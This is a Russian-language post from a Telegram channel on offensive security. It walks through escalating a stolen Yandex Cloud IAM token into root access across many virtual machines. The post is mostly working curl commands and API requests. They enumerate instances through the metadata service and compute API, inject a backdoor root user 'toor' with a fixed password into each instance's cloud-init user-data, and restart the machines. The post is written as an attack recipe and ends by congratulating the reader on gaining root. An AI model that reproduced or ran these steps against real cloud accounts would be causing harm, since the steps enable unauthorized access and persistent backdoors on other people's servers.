Обложка канала

Кавычка

9725 @webpwn

Ломать - не строить

Кавычка

4 года назад
Открыть в
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя: curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}" Получаем идентификатор инстанса: curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id Забираем информацию о текущем инстансе, нас интересует folderId: curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}" С помощью folderId получаем список всех виртуальных машин в облаке: curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}" В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек. А теперь самое интересное, получаем всю метадату для каждого инстанса: curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL" Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor: \n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n Пушим изменения: POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2 Host: compute.api.cloud.yandex.net authorization: Bearer {IAM_TOKEN} content-length: 1337 content-type: application/x-www-form-urlencoded { "upsert": { "serial-port-enable": "1", ... "user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop" } } И делаем рестарт: POST /compute/v1/instances/{instanceId}:restart HTTP/2 Host: compute.api.cloud.yandex.net authorization: Bearer {IAM_TOKEN} content-length: 37 content-type: application/x-www-form-urlencoded {"instanceId":"{instanceId}"} Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.